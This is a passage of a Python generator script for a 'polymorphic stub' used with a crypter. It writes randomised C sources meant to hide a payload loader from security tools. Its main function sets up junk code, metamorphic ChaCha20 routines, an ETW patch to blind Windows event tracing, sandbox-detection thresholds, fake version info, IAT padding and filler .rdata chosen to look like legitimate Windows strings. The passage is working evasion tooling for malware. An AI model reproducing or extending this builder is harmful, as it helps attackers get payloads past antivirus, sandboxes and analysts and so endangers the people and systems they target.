    "The system cannot read from the specified device.",
    "A device attached to the system is not functioning.",
    "The process cannot access the file because it is being used by another process.",
    "The process cannot access the file because another process has locked a portion of the file.",
    "The wrong diskette is in the drive.",
    "The network resource type is not correct.",
    "The network name cannot be found.",
    "The specified network password is not correct.",
    "The network path was not found.",
    "Not enough server storage is available to process this command.",
    "The specified server cannot perform the requested operation.",
    "An unexpected network error occurred.",
    "The remote computer is not available.",
    "A duplicate name exists on the network.",
    "The network BIOS session limit was exceeded.",
    "The remote server has been paused or is in the process of being started.",
    "No more connections can be made to this remote computer.",
    "The specified print monitor is unknown.",
    "The specified printer driver is currently in use.",
    "The specified network name is no longer available.",
    "The service database is locked.",
    "The service has returned a service-specific error code.",
    "The process terminated unexpectedly.",
    "The dependency service or group failed to start.",
    "The service did not start due to a logon failure.",
    "The service has been marked for deletion.",
    "The specified service already exists.",
    "An exception occurred in the service when handling the control request.",
    "The system is shutting down.",
    "Unable to abort the system shutdown because no shutdown was in progress.",
    "The requested operation cannot be performed in full-screen mode.",
    "An attempt was made to reference a token that does not exist.",
    "The configuration registry database is corrupt.",
    "The configuration registry key is invalid.",
    "The configuration registry key could not be opened.",
    "The configuration registry key could not be read.",
    "The configuration registry key could not be written.",
    "One of the files in the registry database had to be recovered.",
    "The registry is corrupted. The structure of one of the files containing registry data is corrupted.",
    "An I/O operation initiated by the registry failed unrecoverably.",
    "The system has attempted to load or restore a file into the registry.",
    "An illegal character was encountered.",
    "The file cannot be opened because it is being deleted.",
    "Too many posts were made to a semaphore.",
    "Only part of a ReadProcessMemory or WriteProcessMemory request was completed.",
    "The oplock request is denied.",
    "An invalid oplock acknowledgment was received by the system.",
    "Windows cannot find the network path.",
    "Your organization used Device Guard to block this app.",
    "The system detected an overrun of a stack-based buffer in this application.",
    "Initialization of the dynamic link library failed. The process is terminating abnormally.",
    "A DLL initialization routine failed.",
    "The RPC protocol sequence is not supported.",
    "The RPC server is unavailable.",
    "The object UUID has already been registered.",
    "A security package specific error occurred.",
    "The transport connection is now disconnected.",
    "The buffer is too small.",
    "The format of the specified computer name is invalid.",
    "The format of the specified domain name is invalid.",
    "A certificate chain could not be built to a trusted root authority.",
    "The revocation function was unable to check revocation for the certificate.",
    "The function requested is not supported.",
    "Loading the device driver failed.",
    "The transport has already been registered.",
    "The service being accessed is licensed for a particular number of connections.",
    "The redirector is in use and cannot be unloaded.",
    "The specified printer driver was not found on the system.",
    "An unknown printer driver was requested.",
    "The print processor is unknown.",
    "The specified separator file is invalid.",
    "The specified priority is invalid.",
    "No default message is available for Windows Error 0x%1.",
    "Logon failure: unknown user name or bad password.",
    "Logon failure: user account restriction.",
    "Logon failure: account logon time restriction violation.",
    "Logon failure: the user has not been granted the requested logon type at this computer.",
    "A specified logon session does not exist. It may already have been terminated.",
    "A required privilege is not held by the client.",
    "Insufficient system resources exist to complete the requested service.",
    "An invalid parameter was passed to a service or function.",
    "The system call level is not correct.",
    "The filename or extension is too long.",
    "Cannot create a file when that file already exists.",
    "The directory is not empty.",
    "An internal error occurred.",
    "The device does not exist.",
    "Not all privileges or groups referenced are assigned to the caller.",
    "Partial copy of ReadProcessMemory or WriteProcessMemory was completed.",
    "Cannot nest calls to LoadModule.",
    "The image file is valid, but is for a machine type other than the current machine.",
    "The pipe state is invalid.",
    "All pipe instances are busy.",
    "The pipe is being closed.",
    "No process is on the other end of the pipe.",
    "More data is available.",
    "The session was canceled.",
    "The specified extended attribute name was invalid.",
    "The extended attributes are inconsistent.",
    "No more data is available.",
    "The copy functions cannot be used.",
    "The directory name is invalid.",
    "The extended attributes did not fit in the buffer.",
    "The mounted file system does not support extended attributes.",
    "An attempt has been made to operate on an extended attribute marker.",
    "This debug event is a fatal error.",
    "This debug event is a warning.",
    "A real-mode application issued a floating-point instruction.",
    "An error occurred applying the security descriptor.",
    "There are no more threads to resume.",
    "A process assertion has been hit.",
    "The specified resource manager made no changes or updates to the resource.",
    "There is nothing to publish.",
    "The callback function must be invoked inline.",
    "The token is already in use as a primary token.",
    "An attempt was made to connect to a named pipe that is already connected.",
    "Element not found.",
    "There was no match for the specified key in the index.",
    "The property set specified does not exist on the object.",
    "The point passed to GetMouseMovePoints is not in the buffer.",
    "The tracking (workstation) service is not running.",
    "The volume ID could not be found.",
    "Unable to remove the file to be replaced.",
    "Unable to move the replacement file to the file to be replaced.",
    "Unable to move the replacement file to the file to be replaced. The name of the replacement file is valid.",
    "The process is terminated.",
    "Application verifier has found an error in the current process.",
    "The calling thread is already in a callback.",
    "A certificate was explicitly revoked by its issuer.",
    "The process is using a SID that is too long for the operation.",
    "The process default activation context and the one referred by the manifest are different.",
    "The encoding requested is not recognized.",
    "The object has changed since it was last read.",
    "The object must be read again.",
    "The requested action was aborted.",
    "An error occurred during validation.",
    "The operation was blocked because a dependent transaction exists.",
    "The format of the file is not recognized.",
    "The path does not exist.",
    "Windows Sockets initialization error.",
    "A blocking Windows Sockets operation was interrupted.",
    "An established connection was aborted by the software in your host machine.",
    "An existing connection was forcibly closed by the remote host.",
    "A connection attempt failed because the connected party did not properly respond after a period of time.",
    "Windows could not search for new updates.",
    "Windows Update encountered an unknown error.",
    "The component store has been corrupted.",
    "The manifest is damaged.",
    "The component store metadata file is corrupted.",
    "The assembly is not recognized.",
    "The feature is not present.",
    "The assembly reference is not matched.",
    "The hardware has reported an uncorrectable memory error.",
    "Windows has finished checking your disk.",
    "The Plug and Play Service terminated the program.",
    "The program does not have a valid certificate.",
    "The system is in the process of shutting down.",
    "Task Manager has been disabled by your administrator.",
    "The caller has specified that the service will not be stopped.",
    "Debugger terminated the thread.",
    "Debugger terminated the process.",
    "Debug control C was sent to the process.",
    "Debug control break was sent to the process.",
    "Debug: Process was killed when a deadline was reached.",
    "Windows Firewall is turned off.",
    "Automatic Updates is turned off.",
    "Windows Defender is turned off.",
    "No antivirus software was detected.",
    "Windows Security Center cannot perform an action.",
    "Your computer is at risk. Windows Firewall is turned off.",
    "WARNING: Internet communication is limited.",
    "Please check your network settings.",
    "Connecting to the service...",
    "Verifying account information...",
    "Looking for available updates...",
    "Downloading updates...",
    "Installing updates...",
    "Checking for solutions to problems...",
    "Preparing to configure Windows. Do not turn off your computer.",
    "Please wait while Windows configures updates.",
    "Success.",
    "The message resource is present but the message is not found.",
    "The message resource is present but the message was not formatted.",
    "Manifest parsing error: The manifest file is missing.",
]

PADDING_XML_FRAGMENTS = [
    '<?xml version="1.0" encoding="utf-8"?>\n<configuration>\n  <runtime>\n    <assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">\n      <dependentAssembly>\n        <assemblyIdentity name="System.Runtime" publicKeyToken="b03f5f7f11d50a3a" culture="neutral"/>\n        <bindingRedirect oldVersion="0.0.0.0-4.2.2.0" newVersion="4.2.2.0"/>\n      </dependentAssembly>\n    </assemblyBinding>\n  </runtime>\n</configuration>',
    '<?xml version="1.0" encoding="UTF-8" standalone="yes"?>\n<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">\n  <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">\n    <security>\n      <requestedPrivileges>\n        <requestedExecutionLevel level="asInvoker" uiAccess="false"/>\n      </requestedPrivileges>\n    </security>\n  </trustInfo>\n</assembly>',
    '<AppSettings>\n  <add key="EnableDiagnostics" value="false"/>\n  <add key="TraceLevel" value="Warning"/>\n  <add key="MaxBufferSize" value="65536"/>\n  <add key="ConnectionTimeout" value="30000"/>\n  <add key="RetryCount" value="3"/>\n  <add key="DefaultCulture" value="en-US"/>\n</AppSettings>',
    '<PropertyGroup Condition="\'$(Configuration)|$(Platform)\'==\'Release|x64\'">\n  <DebugType>pdbonly</DebugType>\n  <Optimize>true</Optimize>\n  <OutputPath>bin\\Release\\</OutputPath>\n  <DefineConstants>TRACE;NDEBUG</DefineConstants>\n  <ErrorReport>prompt</ErrorReport>\n  <WarningLevel>4</WarningLevel>\n  <Prefer32Bit>false</Prefer32Bit>\n</PropertyGroup>',
    '<dependency>\n  <dependentAssembly>\n    <assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls"\n      version="6.0.0.0" processorArchitecture="*" publicKeyToken="6595b64144ccf1df"\n      language="*"/>\n  </dependentAssembly>\n</dependency>',
    '<?xml version="1.0" encoding="utf-8"?>\n<configuration>\n  <system.diagnostics>\n    <sources>\n      <source name="TraceSourceApp" switchName="sourceSwitch" switchType="System.Diagnostics.SourceSwitch">\n        <listeners>\n          <add name="console" type="System.Diagnostics.ConsoleTraceListener"/>\n          <remove name="Default"/>\n        </listeners>\n      </source>\n    </sources>\n    <switches>\n      <add name="sourceSwitch" value="Warning"/>\n    </switches>\n  </system.diagnostics>\n</configuration>',
]


def generate_padding_data(outdir, target_size_kb=None):
    """Generate stub_poly_padding.c + stub_poly_padding.h with realistic .rdata content."""
    if target_size_kb is None:
        target_size_kb = random.randint(150, 400)

    target_bytes = target_size_kb * 1024

    # Allocate budget: ~60% strings, ~20% integers, ~10% XML, ~10% misc
    string_budget = int(target_bytes * 0.60)
    int_budget = int(target_bytes * 0.20)
    xml_budget = int(target_bytes * 0.10)

    c_lines = []
    c_lines.append("/* Auto-generated by generate_poly_stub.py — DO NOT EDIT */")
    c_lines.append("/* Realistic .rdata padding to normalize binary size */")
    c_lines.append("#include <windows.h>")
    c_lines.append("#include <stdint.h>")
    c_lines.append("")
    c_lines.append("volatile uint32_t g_padding_state = 0;")
    c_lines.append("")

    total_generated = 0

    # --- String tables ---
    c_lines.append("/* Windows error messages and diagnostic strings */")
    str_array_count = 0
    current_batch = []
    current_batch_size = 0

    # Shuffle and repeat pool to fill budget
    pool = list(PADDING_STRINGS_POOL)
    random.shuffle(pool)
    pool_idx = 0

    while total_generated < string_budget:
        s = pool[pool_idx % len(pool)]
        pool_idx += 1
        # Add minor variation to prevent exact dedup
        if pool_idx > len(pool):
            s = s.rstrip('.') + random.choice(['.', '!', '...', ' '])

        escaped = s.replace('\\', '\\\\').replace('"', '\\"').replace('\n', '\\n')
        entry_size = len(s) + 1  # +1 for null terminator
        current_batch.append(f'    "{escaped}"')
        current_batch_size += entry_size

        if current_batch_size >= 4096 or total_generated + current_batch_size >= string_budget:
            c_lines.append(f"__attribute__((used)) const char * const g_pad_strtbl_{str_array_count}[] = {{")
            c_lines.append(",\n".join(current_batch))
            c_lines.append("};")
            c_lines.append(f"#define G_PAD_STRTBL_{str_array_count}_COUNT {len(current_batch)}")
            c_lines.append("")
            total_generated += current_batch_size
            str_array_count += 1
            current_batch = []
            current_batch_size = 0

    if current_batch:
        c_lines.append(f"__attribute__((used)) const char * const g_pad_strtbl_{str_array_count}[] = {{")
        c_lines.append(",\n".join(current_batch))
        c_lines.append("};")
        c_lines.append(f"#define G_PAD_STRTBL_{str_array_count}_COUNT {len(current_batch)}")
        c_lines.append("")
        total_generated += current_batch_size
        str_array_count += 1

    # --- Integer tables (locale IDs, error codes, version constants) ---
    c_lines.append("/* Locale IDs, error codes, and version constants */")
    int_array_count = 0
    while total_generated < string_budget + int_budget:
        batch_size = random.randint(64, 256)
        values = []
        table_type = random.choice(["locale", "error", "version"])
        for _ in range(batch_size):
            if table_type == "locale":
                values.append(f"0x{random.choice([0x0409, 0x0809, 0x0407, 0x040C, 0x0411, 0x0419, 0x0404, 0x0804, 0x0C09, 0x1009, 0x0416, 0x0816, 0x040A, 0x080A, 0x0410, 0x0413]):04X}u")
            elif table_type == "error":
                values.append(f"0x{random.randint(0, 0x3FFF):08X}u")
            else:
                major = random.choice([6, 10])
                minor = random.randint(0, 3)
                build = random.randint(7600, 26100)
                values.append(f"0x{(major << 24 | minor << 16 | build):08X}u")

        c_lines.append(f"__attribute__((used)) const uint32_t g_pad_inttbl_{int_array_count}[] = {{")
        # Format 8 per line
        for i in range(0, len(values), 8):
            chunk = values[i:i+8]
            c_lines.append("    " + ", ".join(chunk) + ",")
        c_lines.append("};")
        c_lines.append(f"#define G_PAD_INTTBL_{int_array_count}_COUNT {len(values)}")
        c_lines.append("")
        total_generated += batch_size * 4
        int_array_count += 1

    # --- XML fragments ---
    c_lines.append("/* Configuration and manifest XML fragments */")
    xml_selected = random.sample(PADDING_XML_FRAGMENTS, min(len(PADDING_XML_FRAGMENTS), 4))
    for xi, xml in enumerate(xml_selected):
        escaped = xml.replace('\\', '\\\\').replace('"', '\\"').replace('\n', '\\n')
        c_lines.append(f'__attribute__((used)) const char g_pad_xml_{xi}[] = "{escaped}";')
        total_generated += len(xml)
    c_lines.append("")

    # --- Reference function to prevent linker stripping ---
    c_lines.append("/* Touch function — prevents linker from stripping .rdata */")
    c_lines.append("void padding_touch(void) {")
    c_lines.append("    volatile uint32_t acc = 0;")

    # Touch string tables
    for i in range(str_array_count):
        c_lines.append(f"    for (int i = 0; i < G_PAD_STRTBL_{i}_COUNT && i < 2; i++)")
        c_lines.append(f"        acc += (uint32_t)(uintptr_t)g_pad_strtbl_{i}[i];")

    # Touch int tables
    for i in range(int_array_count):
        c_lines.append(f"    acc += g_pad_inttbl_{i}[0];")

    # Touch XML
    for xi in range(len(xml_selected)):
        c_lines.append(f"    acc += (uint32_t)g_pad_xml_{xi}[0];")

    c_lines.append("    g_padding_state = acc;")
    c_lines.append("}")
    c_lines.append("")

    # Write .c file
    c_path = os.path.join(outdir, "stub_poly_padding.c")
    with open(c_path, "w", newline="\n") as f:
        f.write("\n".join(c_lines))

    # Write .h file
    h_lines = []
    h_lines.append("/* Auto-generated by generate_poly_stub.py — DO NOT EDIT */")
    h_lines.append("#ifndef STUB_POLY_PADDING_H")
    h_lines.append("#define STUB_POLY_PADDING_H")
    h_lines.append("")
    h_lines.append("void padding_touch(void);")
    h_lines.append("")
    h_lines.append("#endif /* STUB_POLY_PADDING_H */")
    h_lines.append("")

    h_path = os.path.join(outdir, "stub_poly_padding.h")
    with open(h_path, "w", newline="\n") as f:
        f.write("\n".join(h_lines))

    return target_size_kb, c_path, h_path


# ---------------------------------------------------------------------------
# Main
# ---------------------------------------------------------------------------

def main():
    parser = argparse.ArgumentParser(description="Polymorphic stub generator")
    parser.add_argument("--outdir", required=True, help="Output directory for generated files")
    parser.add_argument("--tools-dir", default=None,
                        help="Path to agent/tools/ (for icon). Default: script's directory")
    args = parser.parse_args()

    os.makedirs(args.outdir, exist_ok=True)
    tools_dir = args.tools_dir or os.path.dirname(os.path.abspath(__file__))

    # Pick a random algorithm
    algo = pick_algorithm()

    # Compute constants with collision detection
    constants = compute_constants(algo)

    # Generate hash header
    header = generate_hash_header(algo, constants)
    header_path = os.path.join(args.outdir, "stub_poly_hash.h")
    with open(header_path, "w", newline="\n") as f:
        f.write(header)

    # Generate junk functions (40-80 random count for .text bulk)
    junk_count = random.randint(40, 80)
    junk = generate_junk_functions(junk_count)
    junk_path = os.path.join(args.outdir, "stub_poly_junk.c")
    with open(junk_path, "w", newline="\n") as f:
        f.write(junk)

    # ── Generate per-build config (stub + crypter shared) ──
    magic = random.randint(0x10000000, 0xFFFFFFF0)
    cfg_section = _random_section_name() if random.random() < 0.10 else random.choice(CFG_SECTION_POOL)
    pay_section = _random_section_name() if random.random() < 0.10 else random.choice(PAY_SECTION_POOL)
    charset = generate_shuffled_charset()
    chacha_init_lines = generate_chacha_init_code()
    etw_patch, etw_size = generate_etw_patch_code()

    # LCG parameters for entropy pad (must match between stub and crypter)
    # Known-good full-period LCG multipliers (Knuth, Numerical Recipes, etc.)
    lcg_mult_pool = [
        0x41C64E6D,  # Numerical Recipes
        0x6C078965,  # Mersenne-related
        0x019660D,   # MINSTD
        0x5D588B65,  # Turbo Pascal
        0x0005DEEC,  # Java (lower 32)
        0x343FD,     # MSVC
        0x3C6EF35F,  # GCC glibc (lower 32)
        0x41A7,      # Park-Miller
    ]
    lcg_mult = random.choice(lcg_mult_pool)
    lcg_inc = random.randrange(1, 0xFFFF, 2)  # odd increment for full period
    lcg_shift = random.choice([15, 16, 17])

    # Sandbox thresholds with realistic randomization
    sb_min_cpu = random.randint(2, 3)
    sb_min_ram_gb = random.choice([2, 3, 4])
    sb_min_disk_gb = random.choice([40, 50, 60, 80])
    sb_sleep_ms = random.choice([300, 400, 500, 600, 700])
    sb_sleep_min_ms = sb_sleep_ms - random.randint(30, 80)
    sb_min_recent = random.randint(5, 15)

    config_header = generate_stub_config_header(
        magic, cfg_section, pay_section, charset,
        chacha_init_lines, etw_patch, etw_size,
        sb_min_cpu, sb_min_ram_gb, sb_min_disk_gb,
        sb_sleep_ms, sb_sleep_min_ms, sb_min_recent,
        lcg_mult, lcg_inc, lcg_shift,
    )
    config_path = os.path.join(args.outdir, "stub_poly_config.h")
    with open(config_path, "w", newline="\n") as f:
        f.write(config_header)

    # Generate metamorphic function header
    meta_header, meta_unroll, meta_rotl = generate_metamorphic_header(
        lcg_mult, lcg_inc, lcg_shift)
    meta_path = os.path.join(args.outdir, "stub_poly_metamorphic.h")
    with open(meta_path, "w", newline="\n") as f:
        f.write(meta_header)

    # Generate randomized VERSIONINFO resource
    vi_identity, vi_version = generate_versioninfo(args.outdir, tools_dir)

    # Generate IAT padding (12-20 benign API calls)
    iat_count, iat_path = generate_iat_padding(args.outdir)

    # Generate binary size padding (150-400KB .rdata content)
    pad_size_kb, pad_c_path, pad_h_path = generate_padding_data(args.outdir)

    print(f"Algorithm: {algo.name}")
    print(f"Constants: {len(constants)} (no collisions)")
    print(f"Junk functions: {junk_count}")
    print(f"Config magic: 0x{magic:08X}")
    print(f"Config section: {cfg_section}")
    print(f"Payload section: {pay_section}")
    print(f"Charset length: {len(charset)}")
    print(f"ETW patch: {etw_size} bytes")
    print(f"LCG: mult=0x{lcg_mult:08X}, inc=0x{lcg_inc:04X}, shift={lcg_shift}")
    print(f"Sandbox: CPU>={sb_min_cpu}, RAM>={sb_min_ram_gb}GB, Disk>={sb_min_disk_gb}GB")
    print(f"Metamorphic: ChaCha20 unroll={meta_unroll}, ROTL={meta_rotl}")
    print(f"VersionInfo: {vi_identity} ({vi_version})")
    print(f"IAT padding: {iat_count} API calls")
    print(f"Binary padding: ~{pad_size_kb}KB .rdata content")
    print(f"Output: {header_path}")
    print(f"Output: {junk_path}")
    print(f"Output: {config_path}")
    print(f"Output: {meta_path}")
    print(f"Output: {iat_path}")
    print(f"Output: {pad_c_path}")
    print(f"Output: {pad_h_path}")


if __name__ == "__main__":
    main()